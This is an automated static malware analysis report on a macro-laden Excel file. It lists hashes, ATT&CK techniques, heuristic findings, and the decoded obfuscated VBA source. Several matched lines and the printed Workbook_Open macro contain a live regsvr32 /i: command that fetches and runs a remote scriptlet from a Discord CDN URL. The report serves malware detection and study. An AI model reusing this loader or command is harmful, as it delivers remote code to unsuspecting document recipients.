Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b69080f0f312b913…

MALICIOUS

Office (OOXML)

21.9 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-29
MD5: 2517814cebda4a5073737657586810f2 SHA-1: c2a88945fb7d15bb95a1361ff64bc9ba06b2d03c SHA-256: b69080f0f312b91326a4a9fbe996b3102fd6d98e8438e38610d6cc0b40357e11
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains a Workbook_Open macro that utilizes WScript.Shell and CreateObject to execute arbitrary code. This macro is designed to download and execute a second-stage payload from the provided URL, which is a common technique for delivering further malware. The ClamAV detection further confirms the malicious nature of the file.

Heuristics 9

  • ClamAV: Xls.Malware.Valyria-10036093-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-10036093-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        .Filters.Add "Excel Files", "*.wMEtCOcGWXWuywUUPuZzIfVisUpuu; *.ofKCskdwWLyGDEs; *.iuyoInbWXpAXnWzKnpNRBHWfaiyMYBCtfLehn; *.rFQGwIdTVzUVISSrJyBJWkSvbnRzWWZOvspuJQuSockrrvezVSocnuMiM; *.yZWLeceDUiswMhnFdBMwdMRotbIZvdiFXvvneziYDVUVcYXRwRkwMZaLiIoczfuRaQuBV", 1
    Set PO = CreateObject("WScript.Shell")
    PO.Run ("regsvr32 /sUeGGynkBDRMziaUzEdskJyOpBoJeMoDsMckGcJvCRMAAvZZKyYFKXJfCrteeLdP   /nefwBCJBHJbhbXDTuLSkZQvkarsEtUshptGZZdcFfDtGodCNSvXMdzoyTWwfheeM   /uUeGGynkBDRMziaUzEdskJyOpBoJeMoDsMckGcJvCRMAAvZZKyYFKXJfCrteeLdP  /i:https://cdn.discordapp.com/attachments/843073461172961322/843288125979492412/TEST.SCT  scrobj.dll rhUsHYPMPwGJOaSfRHbQYeIQpzAKczPccePteBTNpcLiUZBafXSCVXLwDdiiDeJ")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set PO = CreateObject("WScript.Shell")
    PO.Run ("regsvr32 /sUeGGynkBDRMziaUzEdskJyOpBoJeMoDsMckGcJvCRMAAvZZKyYFKXJfCrteeLdP   /nefwBCJBHJbhbXDTuLSkZQvkarsEtUshptGZZdcFfDtGodCNSvXMdzoyTWwfheeM   /uUeGGynkBDRMziaUzEdskJyOpBoJeMoDsMckGcJvCRMAAvZZKyYFKXJfCrteeLdP  /i:https://cdn.discordapp.com/attachments/843073461172961322/843288125979492412/TEST.SCT  scrobj.dll rhUsHYPMPwGJOaSfRHbQYeIQpzAKczPccePteBTNpcLiUZBafXSCVXLwDdiiDeJ")
     .Show
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        .Filters.Add "Excel Files", "*.wMEtCOcGWXWuywUUPuZzIfVisUpuu; *.ofKCskdwWLyGDEs; *.iuyoInbWXpAXnWzKnpNRBHWfaiyMYBCtfLehn; *.rFQGwIdTVzUVISSrJyBJWkSvbnRzWWZOvspuJQuSockrrvezVSocnuMiM; *.yZWLeceDUiswMhnFdBMwdMRotbIZvdiFXvvneziYDVUVcYXRwRkwMZaLiIoczfuRaQuBV", 1
    Set PO = CreateObject("WScript.Shell")
    PO.Run ("regsvr32 /sUeGGynkBDRMziaUzEdskJyOpBoJeMoDsMckGcJvCRMAAvZZKyYFKXJfCrteeLdP   /nefwBCJBHJbhbXDTuLSkZQvkarsEtUshptGZZdcFfDtGodCNSvXMdzoyTWwfheeM   /uUeGGynkBDRMziaUzEdskJyOpBoJeMoDsMckGcJvCRMAAvZZKyYFKXJfCrteeLdP  /i:https://cdn.discordapp.com/attachments/843073461172961322/843288125979492412/TEST.SCT  scrobj.dll rhUsHYPMPwGJOaSfRHbQYeIQpzAKczPccePteBTNpcLiUZBafXSCVXLwDdiiDeJ")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Workbook_Open()
    Dim NVtMSGpNfCrposHLViZbhQEkbLdUcXdORDwAsUcFiOBOaEEWSVXrOCdLvkyhCnLiy As Workbook, IdwVnFhbKXbSYAOanyuRGQGGteCCFKOCLUHrKXcMKrhBkbIsyrJcyJrSCJDpcJBZpEieT As Workbook, aBUGIeePcDtLXwfXNrGMtQCIuDkPBISOTMGdJLoWdysayMrDQKCs As Workbook, LrXIQEsyfOafQCOaQuKZhkXRIzZEXpPIOtTHSQIspkwyreFnHQ As Workbook
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://cdn.discordapp.com/attachments/843073461172961322/843288125979492412/TEST.SCT In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 17046 bytes
SHA-256: 0cfb9c9c2a38b49451bb1efaa91e6e8784db62a830fbdafe5d5185f363bea0c7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DieseArbeitsmappe"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim NVtMSGpNfCrposHLViZbhQEkbLdUcXdORDwAsUcFiOBOaEEWSVXrOCdLvkyhCnLiy As Workbook, IdwVnFhbKXbSYAOanyuRGQGGteCCFKOCLUHrKXcMKrhBkbIsyrJcyJrSCJDpcJBZpEieT As Workbook, aBUGIeePcDtLXwfXNrGMtQCIuDkPBISOTMGdJLoWdysayMrDQKCs As Workbook, LrXIQEsyfOafQCOaQuKZhkXRIzZEXpPIOtTHSQIspkwyreFnHQ As Workbook
Dim SIoOpAMTpEEMdOIEopZfoMudykbhsrPoHuhJ As Workbook, wiAQIeucrVcLWVCbIREIiGiiPpYYerCZsOk As Workbook, TwKLWJydaTdEUsvcWwQzNsOOinAAKawCcIQZZTheabytGfUekZWhkXaCCVDIkXzZJHB As Workbook, BnUGwkEeKQfsSQZdwJdwnhrrFyXWpLYYNCtnJRkQLtFSPiCAGnGkHGrnZEbSwHV As Workbook
Dim UCvuyVBWOYJBZAfACwZN As Integer, rARGWhLf As Integer, KwQTUvwEnUQVCcdDtIGHWnCtuSCikwuBPrtsd  As Integer, aREsEcRCOCIXOHUaEDQkZSXGheZTrJnEncInaFhwAzLCyndkfriQWZBk As Integer
Dim WspQHrwYoFOwUhJtL As Range, rBHNODBdIOHRYehaOvhpSJZPELZntAFWFLPNiOEUvwAddwDTDFsBKiOMBRpdDiLkpLuorz As Range, aMtHJPMIXIyNAhwDhUMQOYChQECBGKStraidvhQRTTKIeru As Range
Dim bXZtfrCItRJC As Range, GzDfvpUBzcYUEpaTo As Range, JoBKALLIaHhMDYGSDfZcZUPoXkfIOFywbNrveRcCKDcAvQPtOzWKWpRODiNuF As Range, LbzkJfAKFcwAyKd As Range, OeNBtNnXndGVFFKLCcrSAKTaSZBAaYncnWYDpJDWTSiefCVsnzaOBasw As Range, CMHtatF As Range
Dim eRXT As Variant, zyFtYeRnVotsRvZrfKWBHGbTbrdUiMzKutR As Variant
Dim hLVB As String
Dim YwinQPYbShSZPShoUuZSDdtWrWBDQXQpPKZXDEdOi, iazuNOcCkTGGzHFeUtLHJqEvHWsFLcPYNGpTV As Long

Dim TrBCUrfehnJfQkPTySyHbWNpoPhsOkNIvfpMPDGEzwYctyoWoUupTydXHvkekPr As Variant
TrBCUrfehnJfQkPTySyHbWNpoPhsOkNIvfpMPDGEzwYctyoWoUupTydXHvkekPr = Array("PMWYPNrktKtrJAHOSNSndTECKIyOGADsFrCCGahdTEWeQSKTJQ #", "KXkADaXivCpJWpoaDDuyKuZEcsZIP", "MdXNtZVABKsSAFWICtGBFHyBKnOT", "PMWYPNrktKtrJAHOSNSndTECKIyOGADsFrCCGahdTEWeQSKTJQ AcoQpKHwvyTpGaXMuELHnMUHNhRFshvLsbHQbRIvyswNIZCrMZuSYnFOiLccSbU", "PMWYPNrktKtrJAHOSNSndTECKIyOGADsFrCCGahdTEWeQSKTJQ KdXLoZUstIoRtDWFyoDyCFnyHpNSEpUEbFtkcwWTebrGACwDFYzvAYSfOEddvcR", "UeGGynkBDRMziaUzEdskJyOpBoJeMoDsMckGcJvCRMAAvZZKyYFKXJfCrteeLdP efwBCJBHJbhbXDTuLSkZQvkarsEtUshptGZZdcFfDtGodCNSvXMdzoyTWwfheeM", "rhUsHYPMPwGJOaSfRHbQYeIQpzAKczPccePteBTNpcLiUZBafXSCVXLwDdiiDeJ")
Dim FiEuLocSVAZvEDRYXsUGfXdHdDsWvDyVNIGPfUksVNQaLCwkYWZWtHYHeWkkXfH As Long, BycPYCfiTVSERAPPEEYSwvQrMOzFFwnrKhusEdbfNOGBPKQwEPczdMowINcpcFH As Long
Dim kGTX As String, befSYwNetMXNKEKwcoZAHEOTaiWJXhhHikWbhddPXB As String
For rARGWhLf = 1 To YwinQPYbShSZPShoUuZSDdtWrWBDQXQpPKZXDEdOi
    kGTX = aBUGIeePcDtLXwfXNrGMtQCIuDkPBISOTMGdJLoWdysayMrDQKCs.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE(1).Range("UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX" & rARGWhLf).Value
    befSYwNetMXNKEKwcoZAHEOTaiWJXhhHikWbhddPXB = aBUGIeePcDtLXwfXNrGMtQCIuDkPBISOTMGdJLoWdysayMrDQKCs.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE(1).Range("OMXYPNsktKsrJAHOTNSkdTEDKI" & rARGWhLf).Value
    Select Case True
        Case kGTX = "GvnYMshAStQiacNpyKAcEoNytkbMpEKWdWrByrQtizYGpeCbiNSPThTuEVGDnAv:": aBUGIeePcDtLXwfXNrGMtQCIuDkPBISOTMGdJLoWdysayMrDQKCs.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE(1).Range("UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX" & rARGWhLf & ":OMXYPNsktKsrJAHOTNSkdTEDKI" & rARGWhLf).Font.Bold = True
        Case InStr(1, kGTX, "KXkADaXivCpJWpoaDDuyKuZEcsZIP: ")
            aBUGIeePcDtLXwfXNrGMtQCIuDkPBISOTMGdJLoWdysayMrDQKCs.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE(1).Range("UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX" & rARGWhLf & ":ofBBLzyKQohoeaonObrWDaaIYn" & rARGWhLf).Interior.ColorIndex = 15
            aBUGIeePcDtLXwfXNrGMtQCIuDkPBISOTMGdJLoWdysayMrDQKCs.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE(1).Range("UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX" & rARGWhLf).Font.Bold = True
        Case InStr(1, befSYwNetMXNKEKwcoZAHEOTaiWJXhhHikWbhddPXB, "UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX"): aBUGIeePcDtLXwfXNrGMtQCIuDkPBISOTMGdJLoWdysayMrDQKCs.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE(1).Range("OMXYPNsktKsrJAHOTNSkdTEDKI" & rARGWhLf & ":OMXYPNsktKsrJAHOTNSkdTEDKI" & (rARGWhLf + 2)).Interior.ColorIndex = 37
        Case InStr(1, befSYwNetMXNKEKwcoZAHEOTaiWJXhhHikWbhddPXB, "OMXYPNsktKsrJAHOTNSkdTEDKI"): aBUGIeePcDtLXwfXNrGMtQCIuDkPBISOTMGdJLoWdysayMrDQKCs.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE(1).Range("OMXYPNsktKsrJAHOTNSkdTEDKI" & rARGWhLf & ":OMXYPNsktKsrJAHOTNSkdTEDKI" & (rARGWhLf + 2)).Interior.ColorIndex = 3
        Case InStr(1, befSYwNetMXNKEKwcoZAHEOTaiWJXhhHikWbhddPXB, "YLYLNprGYLYyRiLMcnaWoTTYFzMhUJIZsDOQdXBFepepLavuZJRQFkBeRafoDkM"): aBUGIeePcDtLXwfXNrGMtQCIuDkPBISOTMGdJLoWdysayMrDQKCs.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE(1).Range("OMXYPNsktKsrJAHOTNSkdTEDKI" & rARGWhLf & ":OMXYPNsktKsrJAHOTNSkdTEDKI" & (rARGWhLf + 2)).Interior.Color = RGB(50, 205, 50)
    End Select
Next rARGWhLf
Application.DisplayAlerts = False
Dim fTukOUboYBY As PivotItem

With Application.FileDialog(msoFileDialogFilePicker)
      .AllowMultiSelect = False
    'JoBKALLIaHhMDYGSDfZcZUPoXkfIOFywbNrveRcCKDcAvQPtOzWKWpRODiNuF  NCBHbILuVpbLVfFVXwfWLvvkbNaFbFHwWpYwatSTUX rARGWhLf  rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE
    .Filters.Add "Excel Files", "*.wMEtCOcGWXWuywUUPuZzIfVisUpuu; *.ofKCskdwWLyGDEs; *.iuyoInbWXpAXnWzKnpNRBHWfaiyMYBCtfLehn; *.rFQGwIdTVzUVISSrJyBJWkSvbnRzWWZOvspuJQuSockrrvezVSocnuMiM; *.yZWLeceDUiswMhnFdBMwdMRotbIZvdiFXvvneziYDVUVcYXRwRkwMZaLiIoczfuRaQuBV", 1
Set PO = CreateObject("WScript.Shell")
PO.Run ("regsvr32 /sUeGGynkBDRMziaUzEdskJyOpBoJeMoDsMckGcJvCRMAAvZZKyYFKXJfCrteeLdP   /nefwBCJBHJbhbXDTuLSkZQvkarsEtUshptGZZdcFfDtGodCNSvXMdzoyTWwfheeM   /uUeGGynkBDRMziaUzEdskJyOpBoJeMoDsMckGcJvCRMAAvZZKyYFKXJfCrteeLdP  /i:https://cdn.discordapp.com/attachments/843073461172961322/843288125979492412/TEST.SCT  scrobj.dll rhUsHYPMPwGJOaSfRHbQYeIQpzAKczPccePteBTNpcLiUZBafXSCVXLwDdiiDeJ")
 .Show
 'KXkADaXivCpJWpoaDDuyKuZEcsZIP UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX /nefwBCJBHJbhbXDTuLSkZQvkarsEtUshptGZZdcFfDtGodCNSvXMdzoyTWwfheeM NCBHbILuVpbLVfFVXwfWLvvkbNaFbFHwWpYwatSTUX UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX NCBHbILuVpbLVfFVXwfWLvvkbNaFbFHwWpYwatSTUX

End With
If InStr(fullpath, ".iuyoInbWXpAXnWzKnpNRBHWfaiyMYBCtfLehn") = 0 Then
 
    Exit Sub
End If
Set ws = Workbooks.Open(fullpath)
Set wb = Workbooks.Add
ws.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE(1).UsedRange.Copy Destination:=wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("BNHaSvupuXHuINWUUSZoNyGBXtHwdVoiPoDXdfbsvhQrAHG").Range("UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX" & Rows.DnYEsacYSOdZaczfSfwWeIIyDarXkCGADViKY).End(xlUp)
wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("BNHaSvupuXHuINWUUSZoNyGBXtHwdVoiPoDXdfbsvhQrAHG").Range("KWbkDLWOypvWIcOzKQTRBoSdDiYNSIifuLXSfHWGZI").Value = "Status"
lRow = wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("BNHaSvupuXHuINWUUSZoNyGBXtHwdVoiPoDXdfbsvhQrAHG").Cells(Rows.DnYEsacYSOdZaczfSfwWeIIyDarXkCGADViKY, 1).End(xlUp).Row
For kTBOyRZUahWeMpRDiyUWUBCNdftOMMJPPRFsfCfvnBdbdfDtEApkVYQMtNKozwi = 2 To lRow
    If wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("BNHaSvupuXHuINWUUSZoNyGBXtHwdVoiPoDXdfbsvhQrAHG").Range("H" & kTBOyRZUahWeMpRDiyUWUBCNdftOMMJPPRFsfCfvnBdbdfDtEApkVYQMtNKozwi).Value = 0 And wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE(1).Range("I" & kTBOyRZUahWeMpRDiyUWUBCNdftOMMJPPRFsfCfvnBdbdfDtEApkVYQMtNKozwi).Value = 0 Then
        wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("BNHaSvupuXHuINWUUSZoNyGBXtHwdVoiPoDXdfbsvhQrAHG").Range("kTBOyRZUahWeMpRDiyUWUBCNdftOMMJPPRFsfCfvnBdbdfDtEApkVYQMtNKozwi" & kTBOyRZUahWeMpRDiyUWUBCNdftOMMJPPRFsfCfvnBdbdfDtEApkVYQMtNKozwi).Value = "YLYLNprGYLYyRiLMcnaWoTTYFzMhUJIZsDOQdXBFepepLavuZJRQFkBeRafoDkM"
    Else
        wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("BNHaSvupuXHuINWUUSZoNyGBXtHwdVoiPoDXdfbsvhQrAHG").Range("kTBOyRZUahWeMpRDiyUWUBCNdftOMMJPPRFsfCfvnBdbdfDtEApkVYQMtNKozwi" & kTBOyRZUahWeMpRDiyUWUBCNdftOMMJPPRFsfCfvnBdbdfDtEApkVYQMtNKozwi).Value = "YLYLNprGYLYyRiLMcnaWoTTYFzMhUJIZsDOQdXBFepepLavuZJRQFkBeRafoDkM"
    End If
Next kTBOyRZUahWeMpRDiyUWUBCNdftOMMJPPRFsfCfvnBdbdfDtEApkVYQMtNKozwi
wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("BNHaSvupuXHuINWUUSZoNyGBXtHwdVoiPoDXdfbsvhQrAHG").Range("zGeJwAtNDoBDnkNPiRRyIWRkQhooIDXeSRdIbZcVCOcPcyRCAhJbkKs:KWbkDLWOypvWIcOzKQTRBoSdDiYNSIifuLXSfHWGZI").AutoFilter _
    Field:=4, _
    Criteria1:=Array("EN", "EN/vRNKyuOdAFZfDAdpCQiakSiAHiyveGdffynezcosCnO", "FF", "FF/vRNKyuOdAFZfDAdpCQiakSiAHiyveGdffynezcosCnO", "SLyinTGyCWNnzRyZrRCpVtCRMh", "SLyinTGyCWNnzRyZrRCpVtCRMh/vRNKyuOdAFZfDAdpCQiakSiAHiyveGdffynezcosCnO"), _
    Operator:=xlFilterValues
    'MdXNtZVABKsSAFWICtGBFHyBKnOT
    wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("BNHaSvupuXHuINWUUSZoNyGBXtHwdVoiPoDXdfbsvhQrAHG").Range("zGeJwAtNDoBDnkNPiRRyIWRkQhooIDXeSRdIbZcVCOcPcyRCAhJbkKs:KWbkDLWOypvWIcOzKQTRBoSdDiYNSIifuLXSfHWGZI").AutoFilter _
    Field:=5, _
    Criteria1:=Array("1", "2", "3", "4", "5", "6", "7"), _
    Operator:=xlFilterValues
    'KXkADaXivCpJWpoaDDuyKuZEcsZIP
    wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("BNHaSvupuXHuINWUUSZoNyGBXtHwdVoiPoDXdfbsvhQrAHG").Range("zGeJwAtNDoBDnkNPiRRyIWRkQhooIDXeSRdIbZcVCOcPcyRCAhJbkKs:KWbkDLWOypvWIcOzKQTRBoSdDiYNSIifuLXSfHWGZI").AutoFilter _
    Field:=7, _
    Criteria1:=Array("UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX", "OMXYPNsktKsrJAHOTNSkdTEDKI", "YLYLNprGYLYyRiLMcnaWoTTYFzMhUJIZsDOQdXBFepepLavuZJRQFkBeRafoDkM"), _
    Operator:=xlFilterValues
Worksheets("BNHaSvupuXHuINWUUSZoNyGBXtHwdVoiPoDXdfbsvhQrAHG").Cells(1, 1).Select
 rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE.Add
 wb.PivotCaches.Create(SourceType:=xlDatabase, SourceData:= _
"BNHaSvupuXHuINWUUSZoNyGBXtHwdVoiPoDXdfbsvhQrAHG!R1C1:R" & lRow & "NCBHbILuVpbLVfFVXwfWLvvkbNaFbFHwWpYwatSTUX", Version:=xlPivotTableVersion15).CreatePivotTable _
TableDestination:="zTJAJQBdLyz!R3C1", TableName:="PivotTable1", DefaultVersion _
:=xlPivotTableVersion15
rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Select
wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").PivotTables(1).AddFields _
ColumnFields:="UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX", _
RowFields:=Array("KXkADaXivCpJWpoaDDuyKuZEcsZIP", "GrBIbHatHaWUfWtsSTBRdaAWYfinhzQdFwShJVRBCiscNQwkLYiuhM", "GrBIbHatHaWUfWtsSTBRdaAWYfinhzQdFwShJVRBCiscNQwkLYiuhM", "GrBIbHatHaWUfWtsSTBRdaAWYfinhzQdFwShJVRBCiscNQwkLYiuhM", "GrBIbHatHaWUfWtsSTBRdaAWYfinhzQdFwShJVRBCiscNQwkLYiuhM")
With wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").PivotTables(1).PivotFields("aAPhfapcFJkMpFcFZShHrBfFUfNQUBTeMDBUrAALZBpyU")
.Orientation = xlDataField
.Name = "DnYEsacYSOdZaczfSfwWeIIyDarXkCGADViKY"
.Function = xlCount
End With

With wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").PivotTables(1).PivotFields("aAPhfapcFJkMpFcFZShHrBfFUfNQUBTeMDBUrAALZBpyU")
.Orientation = xlDataField
.Name = "iphfX"
.NumberFormat = "iphfX"
.Function = xlCount
.Calculation = xlPercentOfRow
End With

With wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").PivotTables(1).PivotFields("KXkADaXivCpJWpoaDDuyKuZEcsZIP")
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("rYDeOrBtMefBRbtMrVzywJzbvdCTWnGchrYWFoYQZnQXvyrwbMWefQWLFBSKTHAyDdrBcB").Visible = False
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("rYDeOrBtMefBRbtMrVzywJzbvdCTWnGchrYWFoYQZnQXvyrwbMWefQWLFBSKTHAyDdrBcB").Visible = False
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("rYDeOrBtMefBRbtMrVzywJzbvdCTWnGchrYWFoYQZnQXvyrwbMWefQWLFBSKTHAyDdrBcB").Visible = False
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("rYDeOrBtMefBRbtMrVzywJzbvdCTWnGchrYWFoYQZnQXvyrwbMWefQWLFBSKTHAyDdrBcB").Visible = False
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("(rYDeOrBtMefBRbtMrVzywJzbvdCTWnGchrYWFoYQZnQXvyrwbMWefQWLFBSKTHAyDdrBcB)").Visible = False
End With
With wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").PivotTables(1).PivotFields("Battalion")
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("rYDeOrBtMefBRbtMrVzywJzbvdCTWnGchrYWFoYQZnQXvyrwbMWefQWLFBSKTHAyDdrBcB").Visible = False
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("(rYDeOrBtMefBRbtMrVzywJzbvdCTWnGchrYWFoYQZnQXvyrwbMWefQWLFBSKTHAyDdrBcB)").Visible = False
End With
For Each fTukOUboYBY In wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").PivotTables(1).PivotFields("Rank").EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT
    On Error Resume Next
    fTukOUboYBY.Visible = False
Next fTukOUboYBY
With wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").PivotTables(1).PivotFields("Rank")
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("OdSHSPJcKNyuVKcWCUepDeeKiecsKrJduJHKvSGaCHKnzkJUWQLCfOyJZiAONotndra").Visible = True
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("OdSHSPJcKNyuVKcWCUepDeeKiecsKrJduJHKvSGaCHKnzkJUWQLCfOyJZiAONotndra/OdSHSPJcKNyuVKcWCUepDeeKiecsKrJduJHKvSGaCHKnzkJUWQLCfOyJZiAONotndra").Visible = True
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("OdSHSPJcKNyuVKcWCUepDeeKiecsKrJduJHKvSGaCHKnzkJUWQLCfOyJZiAONotndra").Visible = True
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("OdSHSPJcKNyuVKcWCUepDeeKiecsKrJduJHKvSGaCHKnzkJUWQLCfOyJZiAONotndra/OdSHSPJcKNyuVKcWCUepDeeKiecsKrJduJHKvSGaCHKnzkJUWQLCfOyJZiAONotndra").Visible = True
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("OdSHSPJcKNyuVKcWCUepDeeKiecsKrJduJHKvSGaCHKnzkJUWQLCfOyJZiAONotndra").Visible = True
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("OdSHSPJcKNyuVKcWCUepDeeKiecsKrJduJHKvSGaCHKnzkJUWQLCfOyJZiAONotndra/OdSHSPJcKNyuVKcWCUepDeeKiecsKrJduJHKvSGaCHKnzkJUWQLCfOyJZiAONotndra").Visible = True
    .EGFFbNdrTDPdGBBTdWZURVZzIKesofKEkPAcOLbycuFbtZZJBT("(OdSHSPJcKNyuVKcWCUepDeeKiecsKrJduJHKvSGaCHKnzkJUWQLCfOyJZiAONotndra)").Visible = False
End With
wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").PivotTables(1).PivotFields("Battalion").ShowDetail = False
wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").PivotTables(1).RefreshTable
For j = 7 To 13
